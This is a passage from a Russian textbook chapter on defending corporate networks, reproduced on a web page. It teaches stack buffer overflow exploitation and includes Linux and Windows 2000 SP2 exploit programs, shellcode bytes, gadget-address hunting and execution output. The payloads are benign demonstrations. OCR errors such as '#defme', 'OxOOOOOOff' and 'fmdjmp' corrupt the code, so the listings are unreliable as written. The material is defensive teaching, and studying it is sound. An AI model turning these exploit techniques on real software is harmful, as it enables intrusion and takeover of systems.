В конце программы нужно выполнить системный вызов завершения работы <exit> или #syscall 1. Системному вызову exit в данном случае параметры не нужны, поэтому фрагмент кода выглядит следующим образом: movb $0x1, %al int $0x80 string: call code

A call pushes the address of the next instruction onto the stack and then does a jmp to the specified address. In this case the next instruction after <call code> is actually the location of our string EXAMPLE. So by doing a jump and then a call, we can get an address of the data in which we’re interested. So now we redirect the execution back up to <code:>
.string \“EXAMPLE\n\”

В конечном счете программа переполнения буфера выглядит так:

/****** Shellcode dev with GCC *****/ #include <stdlib.h>
#include <stdio.h> char shellcode[] =
“\xeb\xl6” /* jmp string */
“\x31\xdb” /* xor %EBX, %EBX */
“\x31\xd2” /* xor %EDX, %EDX */
“\x31\xc0” /* xor %EAX, %EAX */
“\x59” /* pop %ECX */
“\xbb\x0I\x00\x00\x00” /* mov $0xl,%EBX */
“\xb2\x09” /* mov $0x9,%dl */
“\xb0\x04” /* mov $0x04,%al */
“\xcd\x80” /* int $0x80 */
“\xb0\x01” /* mov $0x1, %al */
“\xcd\x80” /* int $0x80 */
“\xe8\xe5\xff\xff\xff ’ /* call code */
“EXAMPLES”
#defme VULNAPP «./bof»
#defme OFFSET 1500 unsigned long get ESP(void)
{
_asm_(«movl %ESP,%EAX»);
}
main(int argc, char **argv)
{
unsigned long addr;
FILE *badfile; char buffer[1024];
fprintf(stderr, «Using Offset: Ox%x\nShellcode Size:
%d\n»,addr,sizeof(shellcode)); addr = get_ESP()+OFF SET;
/* Make exploit buffer */ memset(&buffer,0x41,1024); buffer[12] = addr & OxOOOOOOff; buffer[13] = (addr & OxOOOOffOO) » 8; buffer[14] = (addr & OxOOffOOOO) » 16; buffer[15] = (addr & OxffOOOOOO) » 24; memcpy(&buffer[(sizeof(buffer) -sizeof(shellcode))],shellcode,sizeof(shellcode));
/* put it in badfile */
badfile = fopen(“./badfile’V‘w”);
fwrite(buffer, 1024,1,badfile);
fclose(badfile);
}

Пример выполнения программы переполнения буфера представлен ниже:

sh-2.04# gcc sample4.c -о sample4 sh-2.04# gcc exploit.c -o exploit

sh-2.04# ./exploit
Using Offset: 0x8048591
Shellcode Size: 38
sh-2.04# od -t x2 badfile
0000000 4141 4141 4141 4141 4141 4141 fc04 bfff
#########
*
0001720 4141 4141 4141 4141 4141 16eb db31 d231 0001740 c031 bb59 0001 0000 09b2 04b0 80cd OlbO 0001760 80cd e5e8 ffff 45ff 4158 504d 454c 000a 2000
sh-2.04# ,/sample4
EXAMPLE
sh-2.04#

В первых двух строчках, начинающихся с gcc, содержится вызов компилятора для трансляции уязвимой программы sample4.c и программы переполнения буфера exploit.c. Программа переполнения буфера выводит смещение области размещения управляющего кода в стеке и размер программного кода полезной нагрузки. Попутно создается файл « badfile », к которому обращается уязвимая программа. Затем отображается дамп содержимого файла «badfile» (команда octal dump - od) в шестнадцатеричном формате. По умолчанию эта версия команды od не отображает повторяющиеся строчки, выводя вместо них строку, начинающуюся звездочкой «*». Поэтому в дампе не показаны повторяющиеся строчки со смещениями от 0000020 и до 0001720, заполненные командами 0x41 из последовательности команд inc %ЕАХ. И наконец, приведен отчет работы программы sample4, которая выводит строку EXAMPLE. Если просмотреть исходный текст уязвимой программы, то можно заметить, что ничего подобного в ней запрограммировано не было. Этот вывод был запрограммирован в программе переполнения буфера. Из этого следует, что попытка воспользоваться переполнением буфера в своих целях оказалась успешной. Пример программы переполнения буфера для Windows NT Рассмотрим возможность использования ошибки переполнения буфера в Windows NT. Большинство рассматриваемых в этой секции подходов применимо ко всем платформам Win32 (Win32 - платформа, поддерживающая Win32 API, например Intel Win32s, Windows NT, Windows 95, MIPS Windows NT, DEC Alpha Windows NT, Power PC Windows NT), но в силу различий между платформами не все способы применимы к каждой из них. Приведенная ниже программа была написана и оттестирована в Windows 2000 Service Pack 2. Она может работать и на других платформах, но из-за ее простоты и минимума функциональных возможностей, реализованных в ней, этого гарантировать нельзя. Пригодные для различных платформ способы переполнения буфера будут рассмотрены в этой главе позднее.

Известно большое количество способов переполнения буфера в Windows. Приведенная ниже программа демонстрирует лишь некоторые них. Для того чтобы программа получилась небольшой, рассмотрена реализация непереносимого переполнения буфера. Программа предназначена для выполнения в Windows 2000 Service Pack 2. Для выполнения на другой платформе потребуется повторная компиляция и, возможно, внесение в программу небольших изменений.

Программа выводит всплывающее окно - сообщение с текстом приветствия «НІ».

На примере программы будет рассмотрено:

• создание загрузчика (средства доставки);

• построение программы переполнения буфера;

• нахождение точки передачи управления (точки перехода);

• запись программного кода полезной нагрузки.

Создание загрузчика. Загрузчик ориентирован на работу с файлами, поскольку было известно, что исследуемое переполнение буфера проявляется при чтении данных из файла в буфер. Было также известно, что уязвимая программа читает из файла двоичные данные. Поэтому можно было не беспокоиться о нулевых байтах в управляющем коде. В результате был написан простой загрузчик, который записывает управляющий код в файл. Уязвимая программа прочитает из файла программу переполнения буфера в буфер данных.

Средства записи в файл в Windows NT довольно просты. Для открытия файла, записи в него и закрытия файла в программе были использованы функции программного интерфейса приложения API CreateFileQ, WriteFileQ и CloseHandleQ. Буфер writeme предусмотрен для хранения программы переполнения буфера.

Пример фрагмента программы для открытия файла и записи в него данных приведен ниже:

//open the file file=CreateFile(“badfile”,GENERIC_ALL,0,NULL,OPENALW AYS,
FILE_ATTRIBUTE_NORMAL,NULL);
//write our shellcode to the file
WriteFile(file,writeme,65,&written,NULL);
CloseHandle(file);

Запись программы переполнения буфера. Из описания уязвимой к переполнению буфера программы ясно, что для подмены содержимого регистра EIP следует изменить в буфере первые 16 байт данных, где первые 8 байт содержат данные, последующие 4 байта -сохраненное в стеке содержимого регистра EBP и еще 4 байта - сохраненное значение регистра EIP. Другими словами, в буфер должно быть записано 12 байт информации. Было решено записывать шестнадцатеричный эквивалент двенадцати команд процессора Intel пор, то есть 12 байт 0x90. На первый взгляд это похоже на способ использования последовательности команд пор, но это не совсем так, поскольку на сей раз можно определить точный адрес перехода и, следовательно, нет необходимости выполнять ничего не делающие команды. В данном случае последовательность команд пор является заполнителем буфера, которым в стеке перезаписывается буфер данных и сохраненное содержимое регистра ЕВР. Для заполнения первых 12 байт буфера байтом 0x90 используется функция memsetQ из библиотеки функций языка С.

memset(writeme,0x90,12); //set my local string to nops

Поиск точки перехода. После подготовки буфера следует найти подходящую точку перехода. Уже упоминалось о многочисленных способах загрузки в регистр EIP указателя на нужную программу. Обычно для этого в отладчике устанавливается точка прерывания перед выполнением команды ret и анализируется содержимое регистров. Например, содержимое регистров в точке прерывания может быть следующим:

ЕАХ = 00000001 ЕВХ = 7FFDF000 ЕСХ = 00423AF8 EDX = 00000000 ESI = 00000000 EDI = 0012FF80 ESP = 0012FF30 EBP = 90909090

Перед командой ret регистр ESP указывает на область в стеке, расположенную следом за областью сохранения содержимого регистра EIP. После того как команда ret продвинет содержимое регистра ESP на 4, он станет указывать на область памяти, из которой этой же командой ret будет восстановлено значение регистра EIP. После восстановления EIP процессор выполнит команду, адрес которой совпадает с содержимым регистра EIP. Это означает, что если с помощью регистра ESP в EIP будет загружен нужный адрес, то с него продолжится выполнение программы. Отметим также, что после восстановления регистра EBP в эпилоге функции в регистр было загружено 4 байта заполнителя буфера 0x90. Теперь найдем в выполнимом коде уязвимой программы команды, которые позволили бы с помощью регистра ESP загрузить нужный адрес в регистр EIP. Для этого воспользуемся программой findjmp. Для большей эффективности поиска потенциально уязвимых частей кода рекомендуется определить импортированные в программу динамически подключаемые библиотеки DLL и исследовать их выполнимый код. Для этого можно воспользоваться входящей в состав Visual Studio программой depends.exe или утилитой dumpbin.exe.

Воспользуемся более простой утилитой dumpbin, с помощью которой можно быстро получить всю интересующую нас информацию. Для этого в командной строке введем следующее:

dumpbin /imports samp4.exe Microsoft (R) COFF Binary File Dumper Version 5.12.8078 Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
Dump of file samp4.exe
File Type: EXECUTABLE IMAGE
Section contains the following imports:
KERNEL32.dll 426148 Import Address Table 426028 Import Name Table
0 time date stamp
0 Index of first forwarder reference
26D SetHandleCount
174 Get Version
7D ExitProcess
1B8 IsBadWritePtr
IB5 IsBadReadPtr
1A7 Heap Validate
11A GetLastError
IB CloseHandle
51 DebugBreak
152 GetStdHandle
2DF WriteFile
1AD InterlockedDecrement
1F5 OutputDebugStringA
13E GetProcAddress
1C2 LoadLibraryA
1B0 Interlockedlncrement
124 GetModuleFileNameA
218 ReadFile
29E TerminateProcess
F7 GetCurrentProcess
2AD UnhandledExceptionFilter
B2 FreeEnvironmentStringsA
B3 FreeEnvironmentStringsW
2D2 WideCharToMultiByte
106 GetEnvironmentStrings
108 GetEnvironmentStringsW
CA GetCommandLineA
115 GetFileType
150 GetStartupInfoA
19D HeapDestroy
19B HeapCreate
19F HeapFree
2BF VirtualFree
22F RtlUnwind
199 Heap Alloc
1A2 HeapReAlloc
2BB VirtualAlloc
27C SetStdHandle
AA FlushFileBuffers
241 SetConsoleCtrlHandler
26A SetFilePointer
34 CreateFileA
BF GetCPInfo
B9 GetACP
131 GetOEMCP
1E4 MultiByteToWideChar
153 GetStringTypeA
156 GetStringTypeW
261 SetEndOfFile
1BF LCMap String A
ICO LCMap String W
Summary
3000 .data
1000 .idata
2000 .rdata
1000 .reloc
20000 .text

В результате просмотра отчета работы утилиты dumpbin.exe выясняется, что в уязвимую программу samp4.exe встроена единственная динамически подключаемая библиотека DLL - kernel32.dll. Несмотря на многочисленные ссылки в библиотеке kernel32.dll на другие библиотеки, пока для поиска подходящей точки перехода достаточно kernel32.dll.

Поиск выполним с помощью программы fmdjmp, которая найдет в двоичном коде динамически подключаемой библиотеки kernel32.dll потенциальные точки перехода с использованием регистра ESP. Для этого вызовем программу findjmp следующим образом: findjmp kernel32.dll ESP Программа выдаст такой отчет:

Scanning kernel32.dll for code useable with the ESP register 0x77E8250A call ESP
Finished Scanning kemel32.dll for code useable with the ESP
register
Found 1 usable addresses

Подменив перед командой ret сохраненное в стеке значение регистра ЕГР на значение 0х77Е8250А, по команде ret это значение (адрес команды call ESP) будет загружено в указатель команд ЕГР. Процессор выполнит команду call ESP, которая передаст управление по содержимому регистра ESP, то есть в область стека с программным кодом полезной нагрузки. В программе переполнения буфера адрес точки перехода определяется следующим образом:

DWORD ЕГР=0х77Е8250А; // a pointer to a //call ESP in KERNEL32.dll //found with findjmp.с

После этого адрес записывается в буфер writeme после 12 байт заполнителя: memcpy(writeme+12,&EIP,4); //overwrite ЕГР here Запись программного кода полезной нагрузки. Наконец пришло время написать программный код полезной нагрузки и средства его загрузки. Поскольку он демонстрирует основные положения переполнения буфера, то код очень прост: программа выводит окно сообщений с приветствием «Н1». Обычно рекомендуется написать прототип программного кода полезной нагрузки на языке С, а затем преобразовывать его в ассемблерный код. Прототип программного кода полезной нагрузки на языке С выводит окно сообщений с помощью функции MessageBox():

MessageBox (NULL, “hi”, NULL, MBOK);

Для преобразования прототипа программного кода полезной нагрузки на языке С в код ассемблера воспользуемся дизассемблером или отладчиком. Прежде всего следует решить, как вызвать экспортируемую из динамически подключаемой библиотеки user32.dll функцию MessageBoxQ. Нельзя надеяться на то, что библиотека user32.dll будет импортирована в уязвимую программу, поэтому следует предусмотреть ее загрузку с помощью функции LoadLibraryAQ. Функция LoadLibraryAQ используется на платформах Win32 для загрузки динамически подключаемых библиотек DLL в память процесса. Данная функция экспортируется из библиотеки kernel32.dll, которая уже связана с атакуемой программой. Об этом говорит отчет работы утилиты dumpbin. Итак, в прототипе программного кода полезной нагрузки на языке С сначала следует загрузить динамически подключаемую библиотеку user32.dll, а затем вызвать функцию MessageBoxQ. После внесения необходимых дополнений прототип выглядит так:

LoadLibraryA(“User32”); MessageBox(NULL, “hi”, NULL, MB OK);

Функция LoadLibraryAQ по умолчанию подразумевает расширение имени динамически подключаемой библиотеки «.dll», поэтому имя библиотеки user32.dll указано без расширения. Это позволит уменьшить размер программного кода полезной нагрузки на 4 байта. Теперь вместе с программой будет загружена динамически подключаемая библиотека user32.dll, а значит, и код функции MessageBoxQ. Тем самым будут обеспечены все функциональные возможности для успешной работы программного кода полезной нагрузки.

Последнее, на что следует обратить внимание. После передачи управления программному коду полезной нагрузки и его выполнения атакованная программа, вероятнее всего, завершится аварийно, поскольку она попытается выполнить данные стека после кода полезной нагрузки. Это нехорошо. Поэтому процесс должен быть завершен функцией ExitProcessQ. В результате заключительный исходный текст прототипа программного кода полезной нагрузки на языке С перед преобразованием в код ассемблера приобретает следующий вид:

LoadLibraryA(“User32”); MessageBox(NULL, “hi”, NULL, MB OK);
ExitProcess(l);

Для преобразования прототипа программного кода полезной нагрузки на языке С в код ассемблера воспользуемся встроенным ассемблером компилятора Visual С, а затем перенесем результат трансляции в буфер BYTE. Вместо того чтобы в этом месте привести пример соответствующего программного кода ассемблера, будет лучше, если читатель просмотрит приведенный ниже пример программы переполнения буфера, в которой создается файл, инициализируется заполнителем буфер, определяется точка перехода, в буфер записывается программный код полезной загрузки и, наконец, буфер выгружается в файл.

При желании перед записью программного кода полезной нагрузки в файл можно оттестировать его. Для этого следует убрать комментарии в части кода, отмеченного как тест. Это приведет к выполнению программного кода полезной нагрузки вместо записи его в файл.

Приведенная ниже программа была написана как пример программирования основных положений переполнения буфера. В ней использованы определенные символическими константами адреса используемых функций, поэтому она может не работать на системе, несовместимой с Win2k sp2.

Программа проста и непереносима. Для ее работы на других платформах следует заменить значения символических констант, определенных макросами #define, на правильные адреса используемых функций. Адреса можно узнать с помощью утилит Visual Studio depends.exe или dumpbin.exe.

Изюминка приведенной программы заключается в нестандартном использовании команды call. Нестандартное применение команды call позволяет загрузить в стек адрес строки символов, расположенной следом за командой call. Это позволяет не только включить данные в программный код, но и не требует знания адреса загрузки программного кода полезной нагрузки или смещений в управляющем коде.

Другими словами, команда call записывает в стек адрес следующей за ней строки, полагая, что записывает адрес команды, которая будет выполнена по завершении функции командой ret. Аналогичный прием был использован в программе переполнения буфера для Linux.

Для безошибочной трансляции программы компилятором Visual Studio при включении строки символов в программный код требуется использовать директиву emit.

#include <Windows.h> /*

Example NT Exploit Ryan Perm eh, ryan@eeye.com */

int main(int argc,char **argv)
{
#defme MBOX 0x77E375D5
#defme LL 0x77E8A254
#defme EP 0x77E98F94
DWORD EIP=0x77E8250A; // a pointer to a
//call ESP in KERNEL32.dll
//found with findoffset.c
BYTE writeme[65]; //mass overflow holder
BYTE code[49] ={
OxE8, 0x07, 0x00, 0x00, 0x00, 0x55,
0x53, 0x45, 0x52, 0x33, 0x32, 0x00,
0xB8, 0x54, 0xA2, 0xE8, 0x77, OxFF,
OxDO, 0x6A, 0x00, 0x6A, 0x00, 0xE8,
0x03, 0x00, 0x00, 0x00, 0x48, 0x49,
0x00, 0x6A, 0x00, 0xB8, 0xD5, 0x75,
0xE3, 0x77, OxFF, OxDO, 0x6A, 0x01,
OxB8, 0x94, Ox8F, 0xE9, 0x77, OxFF,
OxDO
};
HANDLE file;
DWORD written;
/*
_asm
{
call tagl ; jump over(trick push) emit 0x55 ; “USER32”,0x00 _emit 0x53 _emit 0x45 _emit 0x52 _emit 0x33 _emit 0x32 _emit 0x00 tagl:
// LoadLibrary(“USER32”); mov EAX, LL ;put the LoadLibraryA address in EAX call EAX ;call LoadLibraryA push 0 ;push MBOX_OK(4th arg to mbox) push 0 ;push NULL(3rd arg to mbox) call tag2 ; jump over(trick push) emit 0x48 ; “HI”,0x00 _emit 0x49 _emit 0x00 tag2:
push 0 ;push NULL(lst arg to mbox)
// MessageBox (NULL, “hi”, NULL, MB OK);
mov EAX, MBOX ;put the MessageBox
address in EAX
call EAX ;Call MessageBox
push 1 ;push 1 (only arg
to exit)
// ExitProcess(l); mov EAX, EP ; put the ExitProcess address in EAX call EAX ;call ExitProcess
}
*/
/*
char *i=code; //simple test code pointer //this is to test the code
_asm
{
mov EAX, i call EAX
}
*/
/* Our overflow string looks like this:
[0x90* 12] [EIP] [code]
The 0x90(nop)’s overwrite the buffer, and the saved EBP on the stack, and then EIP replaces the saved EIP on the stack.
The saved EIP is replaced with a jump address that points to a call ESP. When call ESP executes, it executes our code waiting in ESP.*/
memset(writeme,0x90,65); //set my local string to nops memcpy(writeme+12,&EIP,4); //overwrite EIP here memcpy(writeme+16,code,49); // copy the code into our temp buf //open the file
file=CreateFile(“badfile”,GENERIC_WRITE,0,NULL,
OPENALW AYS, FILEATTRIBUTENORMAL, NULL);
//write our shellcode to the file WriteFile(file,writeme,65,&written,NULL);
CloseHandle(file);
//we’re done return 1;
}

Современные способы переполнения буфера

После изучения обязательного минимума пришло время познакомиться с современными способами переполнения буфера. Одни из них применимы повсеместно, другие - в частных случаях. С течением времени злоумышленники узнают о переполнении буфера все больше, поэтому сегодня для успешной защиты от атак переполнения буфера необходимо знать изощренные способы извлечения из него пользы.

Пример программы, уязвимой к переполнению буфера | Защита от хакеров корпоративных сетей | Фильтрация входных данных


Защита от хакеров корпоративных сетей



Новости за месяц

  • Июль
    2019
  • Пн
  • Вт
  • Ср
  • Чт
  • Пт
  • Сб
  • Вс